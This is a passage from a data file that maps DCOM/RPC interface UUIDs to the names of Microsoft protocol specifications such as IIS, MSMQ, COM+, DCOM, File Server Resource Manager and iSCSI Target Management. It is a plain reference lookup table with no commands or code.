'450386DB-7409-4667-935E-384DBBEE2A9E':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '832A32F7-B3EA-4B8C-B260-9A2923001184':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '2D9915FB-9D42-4328-B782-1B46819FAB9E':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '0DD8A158-EBE6-4008-A1D9-B7ECC8F1104B':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '0716CAF8-7D05-4A46-8099-77594BE91394':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', 'B80F3C42-60E0-4AE0-9007-F52852D3DBED':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '0344CDDA-151E-4CBF-82DA-66AE61E97754':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '8BED2C68-A5FB-4B28-8581-A0DC5267419F':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '7883CA1C-1112-4447-84C3-52FBEB38069D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '09829352-87C2-418D-8D79-4133969A489D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '5B5A68E6-8B9F-45E1-8199-A95FFCCDFFFF':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '9BE77978-73ED-4A9A-87FD-13F09FEC1B13':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', 'ED35F7A1-5024-4E7B-A44D-07DDAF4B524D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '4DFA1DF3-8900-4BC7-BBB5-D1A458C52410':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '370AF178-7758-4DAD-8146-7391F6E18585':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', 'C8550BFF-5281-4B1E-AC34-99B6FA38464D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '08A90F5F-0702-48D6-B45F-02A9885A9768':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '8F6D760F-F0CB-4D69-B5F6-848B33E9BDC6':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', 'E7927575-5CC3-403B-822E-328A6B904BEE':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', 'DE095DB1-5368-4D11-81F6-EFEF619B7BCF':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '64FF8CCC-B287-4DAE-B08A-A72CBF45F453':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', 'EAFE4895-A929-41EA-B14D-613E23F62B71':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', 'EF13D885-642C-4709-99EC-B89561C6BC69':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '0191775E-BCFF-445A-B4F4-3BDDA54E2816':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', '31A83EA0-C0E4-4A2C-8A01-353CC2A4C60A':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', 'D6C7CD8F-BB8D-4F96-B591-D3A5F1320269':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', 'ADA4E6FB-E025-401E-A5D0-C3134A281F07':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', 'B7D381EE-8860-47A1-8AF4-1F33B2B1F325':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', 'C5C04795-321C-4014-8FD6-D44658799393':'[MC-IISA]: Internet Information Services (IIS) Application Host COM', 'EBA96B22-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', '12A30900-7300-11D2-B0E6-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B24-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', '2CE0C5B0-6E67-11D2-B0E6-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B0E-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'B196B285-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):', '39CE96FE-F4C5-4484-A143-4C2D5D324229':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E07F-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B1A-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B18-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B23-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B14-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'FD174A80-89CF-11D2-B0F2-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'F72B9031-2F0C-43E8-924E-E6052CDC493F':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E072-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E075-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', '0188401C-247A-4FED-99C6-BF14119D7055':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B15-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E07C-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'BE5F0241-E489-4957-8CC4-A452FCF3E23E':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B1C-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E077-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E078-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'B196B284-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E073-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E07D-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B1B-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E079-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E084-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B1F-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', '33B6D07E-F27D-42FA-B2D7-BF82E11E9374':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E07A-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', '0188AC2F-ECB3-4173-9779-635CA2039C72':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E085-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'EF0574E0-06D8-11D3-B100-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E086-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'B196B286-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):', 'D9933BE0-A567-11D2-B0F3-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7AB3341-C9D3-11D1-BB47-0080C7C5A2C0':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E082-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', '0FB15084-AF41-11CE-BD2B-204C4F4F5020':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E083-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B13-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B1D-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B17-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B20-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E074-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', '7FBE7759-5760-444D-B8A5-5E7AB9A84CCE':'[MC-MQAC]: Message Queuing (MSMQ):', 'B196B287-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B12-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B1E-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E07E-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E081-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E07B-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', '64C478FB-F9B0-4695-8A7F-439AC94326D3':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B16-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B19-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B10-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B21-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E076-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B0F-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'EBA96B11-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):', 'D7D6E080-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):', '4639DB2A-BFC5-11D2-9318-00C04FBBBFB3':'[MS-ADTG]: Remote Data Services (RDS) Transport Protocol', '0EAC4842-8763-11CF-A743-00AA00A3F00D':'[MS-ADTG]: Remote Data Services (RDS) Transport Protocol', '070669EB-B52F-11D1-9270-00C04FBBBFB3':'[MS-ADTG]: Remote Data Services (RDS) Transport Protocol', '3DDE7C30-165D-11D1-AB8F-00805F14DB40':'[MS-BKRP]: BackupKey Remote Protocol', 'E3D0D746-D2AF-40FD-8A7A-0D7078BB7092':'[MS-BPAU]: Background Intelligent Transfer Service (BITS) Peer-', '6BFFD098-A112-3610-9833-012892020162':'[MS-BRWSA]: Common Internet File System (CIFS) Browser Auxiliary', 'AFC07E2E-311C-4435-808C-C483FFEEC7C9':'[MS-CAPR]: Central Access Policy Identifier (ID) Retrieval Protocol', 'B97DB8B2-4C63-11CF-BFF6-08002BE23F2F':'[MS-CMRP]: Failover Cluster:', '97199110-DB2E-11D1-A251-0000F805CA53':'[MS-COM]: Component Object Model Plus (COM+) Protocol', '0E3D6630-B46B-11D1-9D2D-006008B0E5CA':'[MS-COMA]: Component Object Model Plus (COM+) Remote', '3F3B1B86-DBBE-11D1-9DA6-00805F85CFE3':'[MS-COMA]: Component Object Model Plus (COM+) Remote', '7F43B400-1A0E-4D57-BBC9-6B0C65F7A889':'[MS-COMA]: Component Object Model Plus (COM+) Remote', '456129E2-1078-11D2-B0F9-00805FC73204':'[MS-COMA]: Component Object Model Plus (COM+) Remote', '8DB2180E-BD29-11D1-8B7E-00C04FD7A924':'[MS-COMA]: Component Object Model Plus (COM+) Remote', '182C40FA-32E4-11D0-818B-00A0C9231C29':'[MS-COMA]: Component Object Model Plus (COM+) Remote', '971668DC-C3FE-4EA1-9643-0C7230F494A1':'[MS-COMA]: Component Object Model Plus (COM+) Remote', '98315903-7BE5-11D2-ADC1-00A02463D6E7':'[MS-COMA]: Component Object Model Plus (COM+) Remote', '6C935649-30A6-4211-8687-C4C83E5FE1C7':'[MS-COMA]: Component Object Model Plus (COM+) Remote', 'F131EA3E-B7BE-480E-A60D-51CB2785779E':'[MS-COMA]: Component Object Model Plus (COM+) Remote', '1F7B1697-ECB2-4CBB-8A0E-75C427F4A6F0':'[MS-COMA]: Component Object Model Plus (COM+) Remote', 'A8927A41-D3CE-11D1-8472-006008B0E5CA':'[MS-COMA]: Component Object Model Plus (COM+) Remote', 'CFADAC84-E12C-11D1-B34C-00C04F990D54':'[MS-COMA]: Component Object Model Plus (COM+) Remote', '1D118904-94B3-4A64-9FA6-ED432666A7B9':'[MS-COMA]: Component Object Model Plus (COM+) Remote', '47CDE9A1-0BF6-11D2-8016-00C04FB9988E':'[MS-COMA]: Component Object Model Plus (COM+) Remote', '0E3D6631-B46B-11D1-9D2D-006008B0E5CA':'[MS-COMA]: Component Object Model Plus (COM+) Remote', 'C2BE6970-DF9E-11D1-8B87-00C04FD7A924':'[MS-COMA]: Component Object Model Plus (COM+) Remote', 'C726744E-5735-4F08-8286-C510EE638FB6':'[MS-COMA]: Component Object Model Plus (COM+) Remote', 'FBC1D17D-C498-43A0-81AF-423DDD530AF6':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', 'F89AC270-D4EB-11D1-B682-00805FC79216':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', 'FB2B72A1-7A68-11D1-88F9-0080C7D771BF':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', '4E14FB9F-2E22-11D1-9964-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', 'A0E8F27A-888C-11D1-B763-00C04FB926AF':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', '7FB7EA43-2D76-4EA8-8CD9-3DECC270295E':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', '99CC098F-A48A-4E9C-8E58-965C0AFC19D5':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', 'FB2B72A0-7A68-11D1-88F9-0080C7D771BF':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', '4A6B0E16-2E38-11D1-9965-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', 'F4A07D63-2E25-11D1-9964-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', '4A6B0E15-2E38-11D1-9965-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System', 'B60040E0-BCF3-11D1-861D-0080C729264D':'[MS-COMT]: Component Object Model Plus (COM+) Tracker Service', '23C9DD26-2355-4FE2-84DE-F779A238ADBD':'[MS-COMT]: Component Object Model Plus (COM+) Tracker Service', '4E6CDCC9-FB25-4FD5-9CC5-C9F4B6559CEC':'[MS-COMT]: Component Object Model Plus (COM+) Tracker Service', 'D99E6E71-FC88-11D0-B498-00A0C90312F3':'[MS-CSRA]: Certificate Services Remote Administration Protocol', '7FE0D935-DDA6-443F-85D0-1CFB58FE41DD':'[MS-CSRA]: Certificate Services Remote Administration Protocol', 'E1568352-586D-43E4-933F-8E6DC4DE317A':'[MS-CSVP]: Failover Cluster:', '11942D87-A1DE-4E7F-83FB-A840D9C5928D':'[MS-CSVP]: Failover Cluster:', '491260B5-05C9-40D9-B7F2-1F7BDAE0927F':'[MS-CSVP]: Failover Cluster:', 'C72B09DB-4D53-4F41-8DCC-2D752AB56F7C':'[MS-CSVP]: Failover Cluster:', 'E3C9B851-C442-432B-8FC6-A7FAAFC09D3B':'[MS-CSVP]: Failover Cluster:', '4142DD5D-3472-4370-8641-DE7856431FB0':'[MS-CSVP]: Failover Cluster:', 'D6105110-8917-41A5-AA32-8E0AA2933DC9':'[MS-CSVP]: Failover Cluster:', 'A6D3E32B-9814-4409-8DE3-CFA673E6D3DE':'[MS-CSVP]: Failover Cluster:', '04D55210-B6AC-4248-9E69-2A569D1D2AB6':'[MS-CSVP]: Failover Cluster:', '2931C32C-F731-4C56-9FEB-3D5F1C5E72BF':'[MS-CSVP]: Failover Cluster:', '12108A88-6858-4467-B92F-E6CF4568DFB6':'[MS-CSVP]: Failover Cluster:', '85923CA7-1B6B-4E83-A2E4-F5BA3BFBB8A3':'[MS-CSVP]: Failover Cluster:', 'F1D6C29C-8FBE-4691-8724-F6D8DEAEAFC8':'[MS-CSVP]: Failover Cluster:', '3CFEE98C-FB4B-44C6-BD98-A1DB14ABCA3F':'[MS-CSVP]: Failover Cluster:', '88E7AC6D-C561-4F03-9A60-39DD768F867D':'[MS-CSVP]: Failover Cluster:', '00000131-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', '4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', '00000143-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', '000001A0-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', '99FCFEC4-5260-101B-BBCB-00AA0021347A':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', '00000000-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote', '4FC742E0-4A10-11CF-8273-00AA004AE673':'[MS-DFSNM]: Distributed File System (DFS):', '9009D654-250B-4E0D-9AB0-ACB63134F69F':'[MS-DFSRH]: DFS Replication Helper Protocol', 'E65E8028-83E8-491B-9AF7-AAF6BD51A0CE':'[MS-DFSRH]: DFS Replication Helper Protocol', 'D3766938-9FB7-4392-AF2F-2CE8749DBBD0':'[MS-DFSRH]: DFS Replication Helper Protocol', '4BB8AB1D-9EF9-4100-8EB6-DD4B4E418B72':'[MS-DFSRH]: DFS Replication Helper Protocol', 'CEB5D7B4-3964-4F71-AC17-4BF57A379D87':'[MS-DFSRH]: DFS Replication Helper Protocol', '7A2323C7-9EBE-494A-A33C-3CC329A18E1D':'[MS-DFSRH]: DFS Replication Helper Protocol', '20D15747-6C48-4254-A358-65039FD8C63C':'[MS-DFSRH]: DFS Replication Helper Protocol', 'C4B0C7D9-ABE0-4733-A1E1-9FDEDF260C7A':'[MS-DFSRH]: DFS Replication Helper Protocol', '6BFFD098-A112-3610-9833-46C3F874532D':'[MS-DHCPM]: Microsoft Dynamic Host Configuration Protocol (DHCP)', '5B821720-F63B-11D0-AAD2-00C04FC324DB':'[MS-DHCPM]: Microsoft Dynamic Host Configuration Protocol (DHCP)', '4DA1C422-943D-11D1-ACAE-00C04FC2AA3F':'[MS-DLTM]: Distributed Link Tracking:', '300F3532-38CC-11D0-A3F0-0020AF6B0ADD':'[MS-DLTW]: Distributed Link Tracking:', 'D2D79DF5-3400-11D0-B40B-00AA005FF586':'[MS-DMRP]: Disk Management Remote Protocol', 'DEB01010-3A37-4D26-99DF-E2BB6AE3AC61':'[MS-DMRP]: Disk Management Remote Protocol', '3A410F21-553F-11D1-8E5E-00A0C92C9D5D':'[MS-DMRP]: Disk Management Remote Protocol', 'D2D79DF7-3400-11D0-B40B-00AA005FF586':'[MS-DMRP]: Disk Management Remote Protocol', '4BDAFC52-FE6A-11D2-93F8-00105A11164A':'[MS-DMRP]: Disk Management Remote Protocol', '135698D2-3A37-4D26-99DF-E2BB6AE3AC61':'[MS-DMRP]: Disk Management Remote Protocol', '50ABC2A4-574D-40B3-9D66-EE4FD5FBA076':'[MS-DNSP]: Domain Name Service (DNS) Server Management', '7C44D7D4-31D5-424C-BD5E-2B3E1F323D22':'[MS-DRSR]: Directory Replication Service (DRS) Remote Protocol', '3919286A-B10C-11D0-9BA8-00C04FD92EF5':'[MS-DSSP]: Directory Services Setup Remote Protocol', '14A8831C-BC82-11D2-8A64-0008C7457E5D':'[MS-EERR]: ExtendedError Remote Data Structure', 'C681D488-D850-11D0-8C52-00C04FD90F7E':'[MS-EFSR]: Encrypting File System Remote (EFSRPC) Protocol', '82273FDC-E32A-18C3-3F78-827929DC23EA':'[MS-EVEN]: EventLog Remoting Protocol', '6B5BDD1E-528C-422C-AF8C-A4079BE4FE48':'[MS-FASP]: Firewall and Advanced Security Protocol', '6099FC12-3EFF-11D0-ABD0-00C04FD91A4E':'[MS-FAX]: Fax Server and Client Remote Protocol', 'EA0A3165-4834-11D2-A6F8-00C04FA346CC':'[MS-FAX]: Fax Server and Client Remote Protocol', '897E2E5F-93F3-4376-9C9C-FD2277495C27':'[MS-FRS2]: Distributed File System Replication Protocol', '377F739D-9647-4B8E-97D2-5FFCE6D759CD':'[MS-FSRM]: File Server Resource Manager Protocol', 'F411D4FD-14BE-4260-8C40-03B7C95E608A':'[MS-FSRM]: File Server Resource Manager Protocol', '4C8F96C3-5D94-4F37-A4F4-F56AB463546F':'[MS-FSRM]: File Server Resource Manager Protocol', 'CFE36CBA-1949-4E74-A14F-F1D580CEAF13':'[MS-FSRM]: File Server Resource Manager Protocol', '8276702F-2532-4839-89BF-4872609A2EA4':'[MS-FSRM]: File Server Resource Manager Protocol', '4A73FEE4-4102-4FCC-9FFB-38614F9EE768':'[MS-FSRM]: File Server Resource Manager Protocol', 'F3637E80-5B22-4A2B-A637-BBB642B41CFC':'[MS-FSRM]: File Server Resource Manager Protocol', '1568A795-3924-4118-B74B-68D8F0FA5DAF':'[MS-FSRM]: File Server Resource Manager Protocol', '6F4DBFFF-6920-4821-A6C3-B7E94C1FD60C':'[MS-FSRM]: File Server Resource Manager Protocol', '39322A2D-38EE-4D0D-8095-421A80849A82':'[MS-FSRM]: File Server Resource Manager Protocol', '326AF66F-2AC0-4F68-BF8C-4759F054FA29':'[MS-FSRM]: File Server Resource Manager Protocol', '27B899FE-6FFA-4481-A184-D3DAADE8A02B':'[MS-FSRM]: File Server Resource Manager Protocol', 'E1010359-3E5D-4ECD-9FE4-EF48622FDF30':'[MS-FSRM]: File Server Resource Manager Protocol', '8DD04909-0E34-4D55-AFAA-89E1F1A1BBB9':'[MS-FSRM]: File Server Resource Manager Protocol', '96DEB3B5-8B91-4A2A-9D93-80A35D8AA847':'[MS-FSRM]: File Server Resource Manager Protocol', 'D8CC81D9-46B8-4FA4-BFA5-4AA9DEC9B638':'[MS-FSRM]: File Server Resource Manager Protocol', 'EDE0150F-E9A3-419C-877C-01FE5D24C5D3':'[MS-FSRM]: File Server Resource Manager Protocol', '15A81350-497D-4ABA-80E9-D4DBCC5521FE':'[MS-FSRM]: File Server Resource Manager Protocol', '12937789-E247-4917-9C20-F3EE9C7EE783':'[MS-FSRM]: File Server Resource Manager Protocol', 'F76FBF3B-8DDD-4B42-B05A-CB1C3FF1FEE8':'[MS-FSRM]: File Server Resource Manager Protocol', 'CB0DF960-16F5-4495-9079-3F9360D831DF':'[MS-FSRM]: File Server Resource Manager Protocol', '4846CB01-D430-494F-ABB4-B1054999FB09':'[MS-FSRM]: File Server Resource Manager Protocol', '6CD6408A-AE60-463B-9EF1-E117534D69DC':'[MS-FSRM]: File Server Resource Manager Protocol', 'EE321ECB-D95E-48E9-907C-C7685A013235':'[MS-FSRM]: File Server Resource Manager Protocol', '38E87280-715C-4C7D-A280-EA1651A19FEF':'[MS-FSRM]: File Server Resource Manager Protocol', 'BEE7CE02-DF77-4515-9389-78F01C5AFC1A':'[MS-FSRM]: File Server Resource Manager Protocol', '9A2BF113-A329-44CC-809A-5C00FCE8DA40':'[MS-FSRM]: File Server Resource Manager Protocol', '4173AC41-172D-4D52-963C-FDC7E415F717':'[MS-FSRM]: File Server Resource Manager Protocol', 'AD55F10B-5F11-4BE7-94EF-D9EE2E470DED':'[MS-FSRM]: File Server Resource Manager Protocol', 'BB36EA26-6318-4B8C-8592-F72DD602E7A5':'[MS-FSRM]: File Server Resource Manager Protocol', 'FF4FA04E-5A94-4BDA-A3A0-D5B4D3C52EBA':'[MS-FSRM]: File Server Resource Manager Protocol', '22BCEF93-4A3F-4183-89F9-2F8B8A628AEE':'[MS-FSRM]: File Server Resource Manager Protocol', '6879CAF9-6617-4484-8719-71C3D8645F94':'[MS-FSRM]: File Server Resource Manager Protocol', '5F6325D3-CE88-4733-84C1-2D6AEFC5EA07':'[MS-FSRM]: File Server Resource Manager Protocol', '8BB68C7D-19D8-4FFB-809E-BE4FC1734014':'[MS-FSRM]: File Server Resource Manager Protocol', 'A2EFAB31-295E-46BB-B976-E86D58B52E8B':'[MS-FSRM]: File Server Resource Manager Protocol', '0770687E-9F36-4D6F-8778-599D188461C9':'[MS-FSRM]: File Server Resource Manager Protocol', 'AFC052C2-5315-45AB-841B-C6DB0E120148':'[MS-FSRM]: File Server Resource Manager Protocol', '515C1277-2C81-440E-8FCF-367921ED4F59':'[MS-FSRM]: File Server Resource Manager Protocol', 'D2DC89DA-EE91-48A0-85D8-CC72A56F7D04':'[MS-FSRM]: File Server Resource Manager Protocol', '47782152-D16C-4229-B4E1-0DDFE308B9F6':'[MS-FSRM]: File Server Resource Manager Protocol', '205BEBF8-DD93-452A-95A6-32B566B35828':'[MS-FSRM]: File Server Resource Manager Protocol', '1BB617B8-3886-49DC-AF82-A6C90FA35DDA':'[MS-FSRM]: File Server Resource Manager Protocol', '42DC3511-61D5-48AE-B6DC-59FC00C0A8D6':'[MS-FSRM]: File Server Resource Manager Protocol', '426677D5-018C-485C-8A51-20B86D00BDC4':'[MS-FSRM]: File Server Resource Manager Protocol', 'E946D148-BD67-4178-8E22-1C44925ED710':'[MS-FSRM]: File Server Resource Manager Protocol', 'D646567D-26AE-4CAA-9F84-4E0AAD207FCA':'[MS-FSRM]: File Server Resource Manager Protocol', 'F82E5729-6ABA-4740-BFC7-C7F58F75FB7B':'[MS-FSRM]: File Server Resource Manager Protocol', '2DBE63C4-B340-48A0-A5B0-158E07FC567E':'[MS-FSRM]: File Server Resource Manager Protocol', 'A8E0653C-2744-4389-A61D-7373DF8B2292':'[MS-FSRVP]: File Server Remote VSS Protocol', 'B9785960-524F-11DF-8B6D-83DCDED72085':'[MS-GKDI]: Group Key Distribution Protocol', '91AE6020-9E3C-11CF-8D7C-00AA00C091BE':'[MS-ICPR]: ICertPassage Remote Protocol', 'E8FB8620-588F-11D2-9D61-00C04F79C5FE':'[MS-IISS]: Internet Information Services (IIS) ServiceControl', 'F612954D-3B0B-4C56-9563-227B7BE624B4':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', '8298D101-F992-43B7-8ECA-5052D885B995':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', '29822AB8-F302-11D0-9953-00C04FD919C1':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', '70B51430-B6CA-11D0-B9B9-00A0C922E750':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', '29822AB7-F302-11D0-9953-00C04FD919C1':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', 'BD0C73BC-805B-4043-9C30-9A28D64DD7D2':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', '7C4E1804-E342-483D-A43E-A850CFCC8D18':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', '6619A740-8154-43BE-A186-0319578E02DB':'[MS-IOI]: IManagedObject Interface Protocol', '8165B19E-8D3A-4D0B-80C8-97DE310DB583':'[MS-IOI]: IManagedObject Interface Protocol', 'C3FCC19E-A970-11D2-8B5A-00A0C9B7C9C4':'[MS-IOI]: IManagedObject Interface Protocol', '82AD4280-036B-11CF-972C-00AA006887B0':'[MS-IRP]: Internet Information Services (IIS) Inetinfo Remote', '4E65A71E-4EDE-4886-BE67-3C90A08D1F29':'[MS-ISTM]: iSCSI Software Target Management Protocol', '866A78BC-A2FB-4AC4-94D5-DB3041B4ED75':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'B0D1AC4B-F87A-49B2-938F-D439248575B2':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'E141FD54-B79E-4938-A6BB-D523C3D49FF1':'[MS-ISTM]: iSCSI Software Target Management Protocol', '40CC8569-6D23-4005-9958-E37F08AE192B':'[MS-ISTM]: iSCSI Software Target Management Protocol', '1822A95E-1C2B-4D02-AB25-CC116DD9DBDE':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'B4FA8E86-2517-4A88-BD67-75447219EEE4':'[MS-ISTM]: iSCSI Software Target Management Protocol', '3C73848A-A679-40C5-B101-C963E67F9949':'[MS-ISTM]: iSCSI Software Target Management Protocol', '66C9B082-7794-4948-839A-D8A5A616378F':'[MS-ISTM]: iSCSI Software Target Management Protocol', '01454B97-C6A5-4685-BEA8-9779C88AB990':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'D6BD6D63-E8CB-4905-AB34-8A278C93197A':'[MS-ISTM]: iSCSI Software Target Management Protocol', '348A0821-69BB-4889-A101-6A9BDE6FA720':'[MS-ISTM]: iSCSI Software Target Management Protocol', '703E6B03-7AD1-4DED-BA0D-E90496EBC5DE':'[MS-ISTM]: iSCSI Software Target Management Protocol', '100DA538-3F4A-45AB-B852-709148152789':'[MS-ISTM]: iSCSI Software Target Management Protocol', '592381E5-8D3C-42E9-B7DE-4E77A1F75AE4':'[MS-ISTM]: iSCSI Software Target Management Protocol', '883343F1-CEED-4E3A-8C1B-F0DADFCE281E':'[MS-ISTM]: iSCSI Software Target Management Protocol', '6AEA6B26-0680-411D-8877-A148DF3087D5':'[MS-ISTM]: iSCSI Software Target Management Protocol', 'D71B2CAE-33E8-4567-AE96-3CCF31620BE2':'[MS-ISTM]: iSCSI Software Target Management Protocol', '8C58F6B3-4736-432A-891D-389DE3505C7C':'[MS-ISTM]: iSCSI Software Target Management Protocol', '1995785D-2A1E-492F-8923-E621EACA39D9':'[MS-ISTM]: iSCSI Software Target Management Protocol', 